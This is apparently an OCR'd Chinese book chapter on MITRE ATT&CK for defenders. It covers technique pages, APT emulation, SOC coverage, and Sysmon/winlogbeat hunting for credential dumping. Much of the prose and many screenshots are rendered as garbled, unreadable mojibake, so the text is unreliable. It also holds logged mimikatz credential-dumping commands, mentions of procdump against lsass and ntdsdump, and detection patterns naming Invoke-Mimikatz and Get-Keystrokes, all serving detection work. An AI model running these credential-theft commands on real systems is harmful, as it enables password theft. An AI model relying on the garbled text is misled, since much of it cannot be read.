practice. Administraters should log in as a standard user but run their tools with administrator privileges using the built-in access token
manipulation command runas .

TINS  Accessibility Features Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the
user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or
backdoor without logging in to the system

T1087  Account Discovery Adversaries may attempt to get a listing of local system or demain accounts.

5 ATT&CK TE X IR AR R4

X T1060 7l, T1060 RRIXEFEA: Registry Run Keys / Startup Folder Y ID, ATT&CK JEE A
EEMRIENXMRPE BITR RNEE, BEREAFPERNRNITSIANER. XERRE
FRAFPFNETXHERHT, HEBEKFIR, T1060 bFEARRIIFAKL (Persistence) MER, EFIH
ZREAEE AP “BERA NR. MINZKERAFTKRBNEIERE : Windows JEMR 4N

73
To

ZRERANGER: 1) BES5EMRG. REHTHELREMERNEZN; 2) BIEBEIX
A IS ERET; 3) Ul Sysinternals AutoRuns (ZE{MF Sysmon) ZZEHT Bt r] B F SIS MERA
B X4 REBXATHENL,

BZRERANER LR EFRABRBRTAEMRAHME =N ETIE1TRHN B SR H T
BANNBE LRI,
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ID: T1060
Tactic: Persistence
Platform: Windows

System Requirements:
HKEY_LOCAL_MACHINE keys require
administrator access to create and modify

Permissions Required: User,
Administrator

Data Sources: Windows Registry, File
monitoring

CAPEC ID: CAPEC-270
Contributors: Oddvar Moe, @oddvarmoe

Version: 1.0

6 T1060 AEEN

AILUK ATT&CK ATFHRAKREE (W1TR), #m: 1) HHENBNKREE; 2) XEEEANR
AFBTHED; 3) ETERHFTHIE. WE 7R, ATT&CK AIXS APT EHARH#ITHIR, 75
AT ATP 2RSS, th{FEA ATT&CK MIEHFEFIIRHITHEIR,
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APT1

G50) 3rd Department, commaonly known by its Military Unit Cover Designator (MUCD) as Unit 61398 1D -
A

Associated Group Descriptions

Hame Descrigtion

Techniques Used

Domain 11] Hame

7 ATT&CK ##iR APT1 =5l

3.3 ATT&CK WA

ENFEE, ATT&CK #5896 (FTBARSTIH) EE:

(1) BBBEENRGEFE, ENERIHEREENEDIFRNEEFERED RS
12, HMIHEEDBHFRANTE S . SUGEENGEFEMNEERIMNERERER T RETRE
PRKEITA, ATT&CK AIRFMERNNGERGFENZENTR, KYERNREERERA
HEATANAAIE, BENREITHRITOR, FihS. SROKEER FE4E BREIZ] ATT&CK EE
B, IRABER L FARERTIIRAE, AMEIISEEAN W SHREHTRARE A,

FREMEBRGEER G FEANERSE, AJNUER ATT&CK: 1) MVEEENBREHERERR
KR RARBATRLLG 2) MBF RSN ARG F AN EREITAIN; 3) $HT R
HEHHITIFER D AR,
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APT 3 Emulation Plan

Phase 2

ey
=
——

Discovery

w Persistence

Lateral
Moverment

Execution

Approved for Pebls Rebease, Dumribgion Unlonmed Case Nomiber | 7-1569 € 2008 The MITRE Corporstion. Al Rights Renorved MITRE

8 APT3 K&l

(2) £IBA, EHRELENTHP, ENERCHBEMIERNBIRET, LINNREZBIREREXN I
MEFRLE, MABASNEI, ATT&CK WA A#LIARFHIEMALRKEITRIATE, BN
FRRTRERIRRIEIFER . 39h, ATT&CK BRI TFHARKGEENR GRS, #MRRHST S L
MF RO E.

9 KUk BR e BREY

(3) TRDIAR, ENREINKEENKET AR TN, HEMRANENRFREEN
eomny, XM EMRE T ELIRANKE T RAYEMKERESR oCs BIER, EERRBEKBEE
% loCs FBBITHERBNFEEMRIE, ATT&CK AIMAEMEZREERETANIR, QN
BHRRETA.

ESEFRN AT E, FILAMER ATT&CK MREHENR G FEHITIE, BE D EGEE G F AR
ESER, FIKEESAR—MERKRE, E 10 Fx.
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Lazarus/APT15 filters legend

10 EFIEXLE
(4) BSHFZERETME, EHNEXRAWEMKZEHIFENNA R EHTTE, ATT&CK RAIEFE—HI
BHBRETANFOEER, BT HEEWASIMERLN, FBHIFNERRS, WERIFERSE,

ESREEENIRAITY, #AMSENRANENRS, WE 11 AR

shtence Privilege Eicalation Duaheria Evision Cradantial Actaia Discs:

Lirtss al Mbowemmerd Eamcution

Apphcitin Windew | Thedpaeyistwas |
— Credential Cumpeg Discowery
Lredenaial and

stal Nrtwart Conliguraton

L webshes ]

o ol Velner,

ME“
e 300 R emmarval from
Tels

Define your
threat model

11 ARSI EEE
(5) SOC FFRENME, HEHNEFA ATT&CK, WEWHNEZEIZEROERNBZNEIALN ., 5
MR BB RIE R T IS
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Legen d | Some Confidence of Detection
Low Confidence of Detection

12 14 SOC BIREAE

(6) MBEIEMERIEE, 1EMRNE ATT&CK fEAESRE T KFEIEIR loCs FIIEIRMFARIANTE, MK
FMERIEN 2N E RSN LRI EERHANEIR, SFEXBNERERMG. TR, TTPs,
T, TRHUREMEXNEEREIETER, ATT&CK 7] MIE A RITH A EX E#TIREAE
B, DFFEHEAR T UEFNEBRRHARNERITH, URNEFHRAEEE, WE 13 Fin,
MEEE ATT&CK TR ERE S ToCs FIINA EEEREZ,

processes = search Process:Create
reg = filter processes where (exe

"reg.exe"” and parent_exe

== "cmd.exe")

cmd = filter processes where (exe == "cmd.exe" and
parent_exe != "explorer.exe"")

reg_and_cmd = join (reg, cmd) where (reg.ppid == cmd.pid and
reg.hostname == cmd.hostname)

output reg_and_cmd

& 13 ATT&CK RItNIBEE 5%
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ATT&CK 515X R

1288 Gartner NE X, RMERE: N —TELEFEFN EEEENRMNBEERNITHIN, EF
IHEANIRE, BE1ER. &l BE. AT EINE, BTFEBIRREMEE S H#H1TRER
ZMIR [12], TRER iSight NENX, EPBEIRENE: XTELKKRE. 2o RN, FHNREEMHE
s, BEMNFIFEN, BTEBAERAIZTENM SR THETRIPEEWAZOE=NAIR,

MEMEXREAR, TRREZIER, 152 REFNARMIFRWLS, ALL, REFTLUXEF
NARMIER: FAERTIMENXTHRNEEZEMMER: B9, MKEERMNAE, BRMENF
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1 A rion Wirdoesn Pressrthe
e GinProgpres Filazsalnloghest-5 .2 _L-silndows—=88_hdsd _Sinctall-service—winlogbeat . pxl
ismmpicy Warming
y shly scripos that goia -r|- r While soriptes From the Intearpst o & ugpful. this |-I|‘r pan petentilally harm g
I « P poi ARl Ta T L ijn-"-.ulu[llll'lrr.rl_ 5.3 :1 —ulh Bd~laEta af v e —wimleghaat . ped T
D] Do not rwh [K] Ran nllrl: |['] Buspend [7]F Help (defaulr is

ttatme Hamr Dlwp laysams

Rtapped  wisloghsat sl loghsst

¥ FF winlogbeat.yml X4 REEEINERN HE LR, f£-name: System [577

windows-sysmon / operational

SHOBA—4T : -name: Microsoft-
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M

Filr fl fperw’  Weer Felp
FE— + winiophear oot igurarios §easpTe ' . . :

fhin File s =n iluq-hl :n-l'lg.l.rulm 1'111- hiight anly The T common
option, Tee sinbopbast, full.pal File Trom oka :-Ir rlflll|.|.l\.-' obrdim a1l ths
mipprrtad mpriom &ith e -n-rrll roli ra use b @k & referenis

you Lin Fled e FPull oo e ot bon fof ereies ere:
hrrps - S, ®1 00T 16 C0 g bl 80 eET 8w n Bogaeat O e sl

[ e winloghsat specific opriom =

b wvart_loga specifies & iat of svent log to movitor @ sell oa

i 5compaeing opriam, The e dara ryee of s g 1y @ 1|~_.|;.._TF
: HECE S lan
o

ThE & ryE b # ramE [(repeiredl . vegn. Frelas, Tia oo e 'T“-r'
foirmirded, tonore oleer . b, svect 50, provider . el b bodd ewl. #leiis
vinir che documssnrarion for Ths onaplsTs wile o i-llh BT A

o, g5 s 'rlrl'll.li'lull:l\.rfl-l

L
NeATITRE & |

Thi daa of L idipger hal geliTisfas Uhe rebeerh B@e DU tar ba sedd TG §riup

Wil v pramacrism eer by o8 vingle vhipper ie the weh incerfacas,

iy |

Thi Tags of rrlm wa iegluded ie ghaln men Fiekd wigh sach

EF R LT o pl\.ll'l

wga: [Tmervice-="; “wsb-viar )

Sptiomal Frelds Thei pos can aperify o = st iom! irfeesiios o che

TRAT[R4T

tlai

#ryr atagkng

=R ]

jo Lol s ot lpils Th ule when Gerding tSe dats (alleiisd by 1 B
[ mulragles ourpurs say bBe unsd.
i - e e DTANEPIAEECET DMEPIE = —————
agair it Elagricsegchi

# drrmy of Bmin D -:nr--r:r i

wpaaty: [Thacalhoac BT |

F optiors | prﬂ:n::l wrd basde suih credenmiiais

BIOTEEl T PTTRE

Ruioraes! “alastic”

SpuEarre: Crhangems”
L e i 8- 1 L T - ] &

#1T winlogbeat BIECE M, #1T.winlogbeat.exe -c .winlogbeat.yml -configtest -e, JMIXIEE G, FF
BAR%S, 1T start-service winlogbeat,
BB REEHIRASIRNEIE, TRTFIRDITAE,
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wre Process
|command_line|hashes|host|process_guldlprocess_id|process_imagelprocess_image_pathiprocess_pathluser]
b=

|mimikatz.exe privilege:debug selwrisaziogonpasswords|

["shal®;" 33ESECOFFCABAFC0ET 2ADGFE9 ICBOFBBS984CFD2 " HWIN-1IOASFR2 00 A 81 bd62 5c-cbbl-5dae-
Q000-
00102caa%a03]|e52|mimikatz.exeC:\Users\John\Desktop\mimikatrmimikatziCAUsers'John\Desktophmimik
HOASFE200AN John]

[FRCAWIndows\systems Dconhost.eoe "- 104989082 - 2250931 756- 3652884161 7096076844 - 2054187 306-
19967T8093311817286- 74406750147

[*shal® " DESFECSODESTOEA02CCOADI4ARBEFASOCDIAIDFAC ™ WIN-UIOABFEI00A| (31 bdE25c-c6B4-
Sclae-0000-

0010333194031 2830 conhost.exe| CAWindows\Systemn3 2| ChWindows\ Systemn 3D conhost.exneWIN-
TICASFE200A John|

[CAWERdows\ Sysmon.exe|("shal " EES5 1ETASDS TESEDSBE4CATI TI25BCF2e97T 24EF AT | |WIN-
1ICASFEZ00A{B] bdb2 3¢ -C 62 =5 a8~ 000 -

00103f198d03}|4B20}Sysmon.exe| T \Windows|CAWindows\Sysmon.exe|NT AUTHORITYASYSTEM|
|hostrame|l"shal " 0BB2ALEI TASRCOC e TCAS1B1C 095 284 AB00T02 2457 WIN- LIOASF K200A|{B1 b6l 5c-
b4 7-Sdaa-0000-

001071 a38f03}|3780{HOS TNAME.EXE|CAWIndows\ System3 {C:\Windows\System3 AHOS TNAME. EXE|WIN-
HOASFE200A John]

|"CAWIndows \system I mmcexe” "CAWindows\system3 Neventywr.msc” |
["shal""D6316368900055003 22CEBS09BEEE3B04 36946AD ] WIN-1IDAGFK200A| {81 bd62 5¢ -c63b-
Sdae-0000-00100a588e03) 4352 jmmc.exe|C: \Windows\System 3 2| CAWindows\ System 32 mmc. exe WIN-
HOASFE200AN John)

["CAWIndows\System3Nemdexe” fC "Clllsers'John\Deskiopimimikatzvmimikatzd 1. bat” |
{"shal”:"EEBCBF12087C4D3EBFISBAFROBEDZESL 68292085 WIN- LIDASFK 2004] (81 bdE625c-chbf-Sdae-
0000-0010 36249203} 23 L& crmd exel CAWindows! System 3 2|C A Windows System 35 cmdexe WIN-
1ICALFECI0A John|

[muall| {1 WIN-1IOAEBFIK2004) {B1bd62 5c-c609-5dae-D000-

0010a7608803} 2704 | cmid.exeCAWindows'\System 3 2|\ Windowrs\ System 3.2 ol exed mill

|whoamil["shal™ " DO058r 52 ADBACED 3168 27B6DCAC 24 34ARICC51 50" HWIN - LICAGFK00A| (81 bdt2 e -
c64.2-2dae-0000-

BIMAEREEMEP LRI EBRNAS, MARUERIFEMEFIEMERAR, Fl, NRE
HIEAE A IEEIETT Sysmon, FHHIETEULE « ProcessCreate”” B4, MR AMFTEZEREENR « Process
Monitoring’” B% “ Process SR LITSE” {ENEUEIRAIEA

., ShdE

EAXS, EEFRITEIHA minikatz FARFEH AR hash TN EFBETRE, X—KRAREER

BEGLTSERNNEFRET ETXAEXERHTEN, AEEINESDATRE, 2huEs

RPRREIENRRS, FARBUNL s SHATELIEHITIVE, THHRA TR SEMANAIRR
MTETERARSR AP EROXNSENARGTREFEREZED, BILEa<ITSRISE, &l

MR,
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e e — T

MY : cobort sxe--@FH: L Ricdmaarateadd cobest. sz T-SAUEEILLION $E0A08 ] (NHSA55 18- HITRITE TAL | ¢S TEIG- 2 BEOOIOSE] 7951 SRR 3T T8

BT - SenrchFiliserBerk. sce—agpa s T UEndsss ryrie2 SaerchFilterbant sa” 0 324 558 938 49534 530

HTE - Searchfroiscaliant ss—RPS T T iHalies’ oyctsad? Sear chPradbsalHont sws” Glakal (eGtkrf] P palaatbe Pl g 188 Blabal b thet i EFL £ pll
Bagilladd 9 cpmmpai ihda; WET0 6 O, Fiadess W7, O5 Jaanak 4 0 Belanl 00 \TrogreaDat s B oy sns il Sear ol Dans T s e gva Fomnl airal Faimdis

T Sear bRl var Bent el S T T Windess api V3T Seac Wil arHeal wae” O 520 570 536 4TI06 532

l‘.ﬂﬁ wimekuis me—-S1S1T mimtkute ay primilege dabug sdkerlee lopropasasards |

¥ o | O ammeEEs pREEaRIA

X HE: taoidbent. axe—@ {7 s tackbont. sxe 3 ke gl

3 MITE: Bu sl iayicCors. snsv— @R 1T "0 Windann Syl 4 INE Bal 8T Bl deFuagrnCare ans’

AT - bdissapdaie soe—igra Ty o

T EearehPidtearBan sae-iS T 0 Wendewa ope T SeardklFiliarHenn s 0 924 596 T30 090 922

BRRELBEITEAITSEE, BARAEBLE-—ENKESEY, ERUFEREZRINI

_
,
20 aflll - -

4.4.1 1, Sysmon TESH
AT A& B Sysmonview XK T A ARIFAVBREENITH, RREFIITIEZEZNLEFR. B
ByFTRNOH, $ERE. B TEAUSH, mimikatz BATIFRRFSE/EME T crypdiLdil, samlib.dil
hid.dll. WinSCard.dll, vaultcli.dll Z&S5EERE, FHi50) T R4t Isass.exe Hiz,
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Display images associated with =

crypidil. dil
hid.dll

min i
samiib. dil
svchost.exe
waultoi. dil
WinsCard.dll

Image Path

mimikatz\mimikatz

Sessions (GUIDs)

Process Accessed
Time :
2019/10/22 10:09:04
Source ITmage
mimikatz.exe
Target Inmage :
lsass.exe

Process View

BRMWIBEAAIXL dil 272 RA mimikatz FRFAER, BTEFERSE, E2LEHRE, 7
REFERLERFOFIERARE A XM, EEREH—T ORI,
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4.4.2 2. Sysmon BUEEADH

HXBENHERS, BNFRETANKETS, #TOH, TREN, #E. X4, ME. K.

AR, EESF-RIINREXREKXER, DX, MELTEELERERAREEIZIRAI R/ \ME
—4HIE,

=

P Typsai T T

o P o Lsip ]

i Hia O
. . [ | QTSRS

CHfus T TalE R T

4.4.3 3, Sysmon Mo HT
BT RO, VITREUHER, FHATIBAUEE sysmon FUMFHITIHEILE,
ATT&CK RS T1003-FIEREME R @I AT sysmon NECE, #HITEM,
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=5ysmon schemaversion="3.40" >
=HashAlgorithrms=*</HashAlgonthms>
=EventFiltering>
<ProcessCreate onmatch="include"/>
=FileCreateTime cnmatch="include"/>
<MNetworkConnect onmatch="include"/>
=ProcessTerminate cnmatch="include"/>
<DriverLoad onmatch="include"/>
=Imageload enmatch="include">
=Imageloaded condition="is"> C:\Windows\5ystermn32\samlib.dll < /Imageloaded >
=Imageloaded condition="is"> C:\Windows\Systermn32\Win5Card.dll< /Imageloaded >
=Imageloaded condition="is"> C\Windows\5Systern32\cryptdll.dll</Imageloaded:>
=Imageloaded condition="is"> C:\Windows\System32\hid.dll< /Imageloaded >
=Imageloaded condition="is"> C\Windows\5ystern32\vaultcl.dll< /Imageloaded >
=/Imageload>
=CreateRemoteThread onmatch="include"/>
=RawhccessRead onmatch="include"/>
<ProcessAccess onmatch="include">
=Targetlmage condition="1s"> C:\Windows\systemn32\lsass.exe</Targetlmage>
</ProcessAccess»
=FileCreate cnmatch="include"/>
=RegistryEvent onmatch="include"/>
=FileCreateStreamHash cnmatch="include"/>
=Pipebvent ocnmatch="include"/>
=Wmmikvent onmatch="include"/>
= /EventFiltening >
=/Sysmon>

S E R yaml N, HITEERN,

itick ymml
P Tio0z: .
2| nem=: Credential [Chmpingl
d| description:
i lewal: criticall
8| phase: Credentlal Accessi
6| query:
T = typer regi
] regzil
| path:
14 pattern: EKLEYSAR |HELE Securd 1y
13 proceas s
12 innge: |
13 gt terns Y Nindoweyy, v laaps, exel
14 flag: regexl
15 dpi BeTl
146 op arxl
1T = type; filed
18 FEle: .
13 pathi
&1 pattern: WAWWirdews' S\vheryptprinitives. dl1 3 \Windewsy . 0\ W berypt. dl1 | \Windews) . =V incrypt. d11
o § flag: reg=xi

ERGASEN, SRAINHEIR minikatz BXRIZTTIER.
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Peoans atceusrc

RudeM asresi Mo eSaf= TEO0I Technlgus = Cied estial Ddﬂpbq.THﬂtlElldﬂd-H h’.ﬂﬂuﬁhﬂ:HHﬂq Cavaniand Line hﬁ'hTEHL&W EscH g
LR Tirvess J003-12-18 11541329

bomrrefroreesGLIDD 1 hd 635 -6k - ST -(000- D01 182 La 00

Sorrefrocenld: 4276

SorceThrasdld: 4424

Courielmaye Tl asrst dobe | e i ke p s bl s ek sty i L2 g

TargeFrocesaBUID: {3 bl B2 % -8 53 -3 H T - 0000 L 05040100

TargesFrocesshl) S48

Targesimage: Oy Windoeyispsem iN s e

CrantsdAccens kI0I10

CallTrasca: EWMEW’HMC&N&MWL&EHhH‘WH bl mik
mumummmmmmmm.umﬂtmmwww“m+mummmm
st b v v m id ot + 88050

4 H ot sEmi

BEERi: Mirroah-Windowe-SyumonCparstonal
R i SRR 2009141 IRIREL
I IDEE 140 FEMETY): Procma accenaed (ube Procimnnfccan)

EJ9{ER bat BIASNIEIT minikatz 227, AT TFEIZ R FEAK T1036-8E R HEIADMALN

E m Wi W
(e

Procwis Craale:

Faduflame: MtreRel=TLD3E Tethnigus = Masquersding, Tactic s Dedanie Evaien/Exscution

U Tormes J006-12-13 M%52.510

Proced sad: 1Blbdlﬂil-lllﬂmﬁdm-mlﬂﬂmf

Processld: 7198

Iressg et T4 Usrs’ b Dbl o mimi ko't il ks L rrva keate e

AleVersices 2.2.00

Descriglion mmikate for Windows

Product Ferdkats

Campary: genilldel [Berfamin DELPY)

DirigiralFlehiame mrmkatoeie

(Commamdline: mimikatz.ens privilsgenodebug setolsafogonpesswiords

CurrentDirectory Otlisers\dohniDesktophmimilatrymenikats’

Usen WIN-1ICAGF200)ohey

LogaonGuid: (81 bdé2Sc-525805- Sdoe -0000-00207 7 100300]

Logaonld: 0e31577

TerminaZessionld 1

IntagrinyLavet sigh

Haskes MO =FSTMABAPSCEL AP DR ET SO 20CAIN0ERT SHATSE

=EQ20A0ELR1 YFRAEERS LI L ATACDI GA D CEGSRFC G TFTTES G 1 EDGEDDA5 156 IMPHAS = CO0RISCODSEDFOFRO1 DA S 21 C 118252

ParentProcsssduc: {B1bd62 5e-6115-5dF3- 000000 1 00edets 20)

ParentProcs:ckd: To40

Parentimage: C\Windows | System i cmod s

ParemtCommandiine: “CoWindows\SystemIPomd sue”

EEufi Slicremodt- Ward oo Sparnan Dper aticeal
L Sysman iGN M0 175552
|| W mE: i EEEEEIY:  Process Creabe [rule ProcassCraats)
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& Mimikatz X1FREIEFEERE T Al AE BB A ith — # FIFR 30497, AT AT Powershell
BEEMBEIAEFFET, FNRFRIEREMARROSE. 2ITERXERFN, ATHE—F o
HIZIERIFERINBRLATEZEY LSASS #2A0ER D, AMNEIR R4 IR fE. #¥5l Mimikatz 5 EAD
ERERNE LIAEER .
= LAY Mimikatz GrantedAccess &=, ,
XEEASAEAFE T Mimikatz HRIARAR TEA I, BT Mimikatz B9 REFTIAEZIAR B 4D
ENFIEMN,
EventCode=10

Targetlmage="C:\WINDOWS\system32\Isass.exe”

(GrantedAccess=0x1410 OR GrantedAccess=0x1010 OR GrantedAccess=0x1438 OR GrantedAccess=0x143a
OR GrantedAccess=0x1418)

CallTrace="C:\windows\S Y STEM32\ntdll.dll+| C:\windows\System32\K ERNELBASE.dll+20edd\ UNKNOWN()”

table _time hostname user Sourcelmage GrantedAccess

MT= %ﬁﬂ; T1003 % 1IE175|D]|37|\ERBZ7K 1E$§11%?§7KH9%§EIE283*W§%/l\¥?§7kﬁ’\] sysmon ECE 154G,

amandlice names= A1

cetdltions / Trreake-TaiConnand /Consendl ine
Coamandlire name="Eit e il cu=-Crnpesrtiai iemnig. | - T
T arll Tl eeE HeEt-GPFPREgvar it Conmand ine
Coamandline name= I
condit]on= I Get-Eeyetrokes U/ Copnandlire > 1
anardl 1= name= t
condi toane et Tlp.evE-'reen.-r' l: oamandlines
comhandlLirne rans= B T vl RS SRR . T
anditlon= ta Get=Taul tlredential £/Connand ine
Coanapdlice pame= A f i
condd tlone 1 2make-CredentlalIndectbond/Connand Ynie’ )
Cemmandlice name= PRIt £ i gue- Eresenttal Dt |
T Privi aredl 1126 RNl KAt Conmarcil ire
Coamardlices names dlest=i
i1t Lak= f IrvokeRinJeCepys  Comnandllhe »4
anandlire name=s X 11
conditlons Irvoke-TokenNanim l:.l Lo/ Commandline ™
AaRarddllne nams=
condd tLone I I ut-ini daps /Connandlin=

MTFARFENFRZICRBLIEXXENITH, IUNBIRNFETH, RACNKENED, &
MENMEZ ML ZE-,
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o e e WL ID G5

2019/13/12 00733 e RaTHOR 1 Process Create [rule: ProcessCreate)

S92 De0CHDD Sysmon 11 Fle created {rule: RlaCreate) -
s 11, Sysman ]

WA | e

Fil= created:

RubeMarme:

UtcTime: 2019-12-11 16:00:00.445

ProcessGuid: (B1bd625c-5209-Sdoe-0000-001 08aTH500}
Procesald: 3316

Image: ChijlsersiJohm\Deskiop Keylogger.en=

Targethilename: CiWindows\System3) - msg2019-12-12 tet
CreationUlic Tomes 2009-12-11 1800:05845

d=EWME Microsoft-Windows -Sysemon/Operatonal

=Ri5h: Sysmon IERETEND:  2019/12/12 00000

B 1ThE) 11 ESBIYE  Rle created (rule: FleCreate)
BEI(LE R FRFKE

P EYSTEM HEEURE  WIN-TIOABFRI00A

R RO ER

4.5 HA. Sysmonhunter o4

A Empire TEHTELINIK, Empire F—FRAMZIENXFZE, EEFESEFEEMT Metasploit,
BEFXFEERMNZEO, AP MUBTRIMEIRFINGE, X PowerShell FFRIFIIFES,
18T 322 Ui s MO BB H 1 THFE L ECANE, HIGE R HEIXE! Elasticsearch BUERE, BEELUEMNZEA

=ES

15,
WE B Sl RS (- R
L-F ]

[ " AW T

iy

i Pl T

b e R
i rreri oy
Wi g o
P I TR T
pI-T T

LT SRR

ol

(L Lo ]

b Fia bar

LAe Re

BEDHES dil NERRE, 2HXEETEFEREEEFBRNER.
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Filg Ptk Y e

L1 b ar B ] D vl

£ AN e b e ey 1 N s el s di ]
Covmiraiaai Sy 1 irorgn.al r
Thoargy 1 5 oi L amimey Fre=aui 1 i

DITRLE dl BR|\EXLEREF AR, SERLERFLTERNEEE,
BAFE LAZRI— T HE4TR.

BEND, FIBTEEISHE

Behavior Details x
Show 100 7| enires Search:
ATTMIE
Ensdpodnt * Timestamp BabaulorType i Vs
HHD-07 R R 5 e 3 £ O losid =
T3S S b Mk T 1 45T k0 FsBahaiior T100 TR B
11100 24: 00 CAWendiows S pstem 2 borypd il
; 0007 - CHivindowd Symem 3 Windowil e Shell LD poweriibs L pye
& 24 %0 1 SRS b ol o 140 Tk Fipfehpwor {8 Lol
o ILTOERES1 -load- = CAWIRGows Sysiem I boypdi
a-07- ChWSndiowsn S ystem L WindowsPome Shelly L B powershe L eee
&7 283017 S80S bbafnda Mh 14 Fddhe FieBehawncr 7103
ITTESATS1 load« b WSO Siatem 3T borypd .ol
: JU18-07- SR Syt Em TN Windows PoeerSheily L0 rshell
ET3430E5T5 AB0G bR B 20 14K T FieBrhaios TI004 T s i it
A1 TS 206 laad-= WS Syt 100 borypt ol
Z01E-07- CHWAn o Syseem 3T Lo n b Bae o ==
a7 350 ) Sair kb g 2 | 4 Tkt Filis A ifuonc Tiooa - R 5
TLToA1:51 AW S yten L berppi.clil
Showdng 1 155 of 5 siirses Presing 1 Hest

BYSANEREERITREDT, BRERTERF, 18X TRARTE, EBEATTR, KBRRE

RS
Ut o
= O i T | 150 1ER 2 B AR R B e o 8 a0 0 s=8 20
s s
k] ,
eIl rrrrrr Wl TP e
@ St — ). ,,_‘I,f-h.....m_,-
e e AL 4
g o —— L Tee g ey B - T m—rr g v e
PR -
———
g .
{ SSEPYR | —— T -.
e e | r—wewrvrsme L oweae
e i LI L Ll LR T
L Ll L M i 8l ] N I A L o 5yt BRI AE B A SRR, A T 8 £ L0 L ol A 8, 0. 0 1 L0 gl L L S P

.9 e

T

T T L e S
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4.6.1

ATT&CK %1% ATT&CK 312 F 41 EDR HMEEHHIIRTE
75« SEFRRIFE

SZATFEBTIRN, BEHMRREG, TR TEINDE, BREENTAMEBALN S EXRENR,
BT HREGE, R—TRARNGE, b m e Ml B IR T R E B AT,

1, B

W AESE R
Atomic Red Team 2—MEFEMIRE, §1% 2 FAEBE MHITENEFNR RS RA0HN A

7. MR ERBEIE) MITER ATT & CK ERH/NE, SETBEMOIINIER, S MRSE

BAGHIS TERO R

U FiBEiZR A2

IIHAESE, Q236 EDR RUKMIBES,

FAREEEANANZEBENEHRRITEZNEE. IRtMIIERAZIEEREMALS, Mgk
ERBEMREMETEFARE, #FTUHKE, MUENERRE, HhRSEERQF 2, K
BRBENL. TENRERIFMTY, SEIEEF/RT. S TIEREE X EIEREME X KRN A
&,

BRI RE

vssadmin F3 T8I Z2/MIBR Windows RGNS EREIANG L., SEIRERIERMEEN, BAIMN
SIS AZNITE2ERASEEIZE, 1, NS AXITANEEENURBRERNRRED
FIANXHEHAI MBI R ERSETRIATRERED . FINMERABSRZEIAN SAM XHSH, kS
SYSKEY Fl|F mimikatz & T B 3K1§ NTLM Hash, tBAIBAFIF VSS HHZEIAIE N ntds.dit, ntds.dit 2
AD (GEshBR) FHEBIEEXY, 88X ENEREPRENKRNMEER, EFESMEEAF
Mt EAKF R RBIEHE .

M T2 @IS hash RH#RITADEHRNIER .
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W TP
bt R
P

R Al idmers Sy s r i ewe EATERIE

R . OO R SRR

Mimikatz
mimikatz ZEE A Gentil Kiwi 85 BJ—FX windows & THItH2E, EEREZINEE, EFE=N
IHEER EIEM lsass.exe HFZEBIREX windows T active JASMK S HIBA X 2318, mimikatz BITHEEARIN AN
ItE, EBEATDIRHATENER, JENFHFE, 1ZBUATEATRE, hash EBEFSE
MU T 2 mIUKBTEF hash FHZIT A EEOENIER,
% TP
s AR
R -

R i WS temaemd exe EANEEE : Adminisirator K

T 0 BT A eSS e

Procdump

Procdump 7 Windows TESEMN—HRTH, ATEMRNEAER, FIAKBIRRILASER.
I procdump S Isass.exe BIARTEX S, TEA mimikatz.exe FEAMIEZERAF XA REVEDS

U T Er= mikiER2F hash RHIET RO T ERINIETR

o E EHUP
HiTER =Eifse
Bt
RER A ErsAdmInisratorDeskion mirma iz i =55 umpiprocdump exe SISEEN
LS i TR E RS z -
Ntdsdump

Ntdsdump = NTDS.dit (GEIEREERE) ZBRERNTE, rETMEES2S £ SEXRY ntds.dit
XHLAK SYSTEM Xf4, BEIRENEZHI2E LATA hash BYTHES,
M E 7 mikiERE T hash FATRIT A HERWDNIER .
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e EHUP - 192 165.80.31 ( 192 168.80.31 )
WiGRR . EEEE
BRE : HIEE

RN COWindows'System32ioma exe SRR C \Users\AdministratonDeskiopimimals
MEE nidsdumpINTDSDump exedSr e

4.6.2 2, izEilid

R
BRRITEIZRIEF /G, BITIRET A, hash B3, PUECHSIERE, HllFESE,

iThE

i Sk A s
STREAE :  20158-11-21 095347
s - @D
EWHETUUP : 192 168 80.31 ( 192,168 B0.31 )
R e
FHUE: RCE

EEESEE - it CUsers\AdministratornDeskiopwony exe T CilsersiAdministratonDeskd
opu@WanaDecryplon@. exe

SRR . BEETRET ARSI

Y e bl L1 i ZHIER Erifm
AT e ;:, o B i e
e —— B :_'_ A S oam
CHEH: B r:- x e -

LECT el el 2w SRR I

o p FIC W80

=i i et f, THER Lo T
w P TEIEU T

o J r' TR ST
EE L= e

1L .

fedpd - . I _:_.". ST R
A .-".l\. o k]

el r ey AT L= V-

AENENRARE

AN E g y e b Lo

61



4.7

4.7.1

ATT&CK IR ATT&CK X741 EDR HIBENAIRER

EMIC NS i REE RN ERET ERTR

R42 e S o mog [ ==5-
RABI BN MAIEENEER S RRBLE.

. ’EREH

1. ATT&CK 4t FBLERALE

R ATT&CK R T —ERSGNEILIES, EBMNEATERREMMNGN AR, ZEERE
ARFEIMNGE. W TREERAHBREZLERES, NWFRNLE”RNENEEZRERAE,
ATT&CK " ER@BRIEEEABRAT, FERRMETHEINRE, T2—MMIXAGIMEES
— MBI T, Te—ENE AR I —MERIDRE,

ITHA ATT&CK 4A4R0 THE3RIESR45HM, FHAN B MERHTRMAMNEIZIT, BEHWARERA
HIKIRE, 1BH T FRAES, FRAZS—FMEIFMHRRARNISELINSGE. ST UERART]
KA, BEFEFTURTEANEMAX. FAIMNEEE#ERE—TMREFNGF.

£ RIERME AR, ATMRTIZRENSRHEIT 91, F1%0 Windows SAM I “EFHE
. RERZBERGRMEAELUN, BRI ARNTHEBEPE—MEARFR, FFFEA, BITE
NEHITHD, AT —MMRNEIEE#ERAR, ETEBAMFRAR, UEFMAMNBXLETL,
M7 BeENNEMFEARNATETNFE.

FIARIEI.001 FFig, HEESDMOFEARBIE, F0, HRISEIRMIEE T1134, BR <%
FERINES B2 T1134.001, {EFRASTHEEIEHAIE T1134.002, FF

N FIRARMBHRANHITRANDT, SBEATRAZBABUENRERE, AJeeaiilE T —L&
FEEIXRIEIZOE XA, Fa0 < REX4 M BR TES “HA%, MER—NBoEER
FARIFZAR, B0 «“ Hypervisor”, EIZRGH, HINLKIVEEIERNAGIMES . MREAREREIFRA
AOIEEE, fIEN, BTFIHADRIT « Pre-OS Boot” #2K, FEULEIMEH Bootkit AEAEHFRABER
TA.

AT 245 | BR A BRES R F R AR R3S B 2=

TiD Technigue Name New 10 Sub-technigue of Mote

Ti1156 ha:h_::rnl‘ g arsd  baghng TEOO0.0O]  TROOD Event Triggered Exscuthon

Ti015 Acpessi Bty Features TEDO1.001 TEI0E Eventt Triggered Execution [[acalation Poksible)

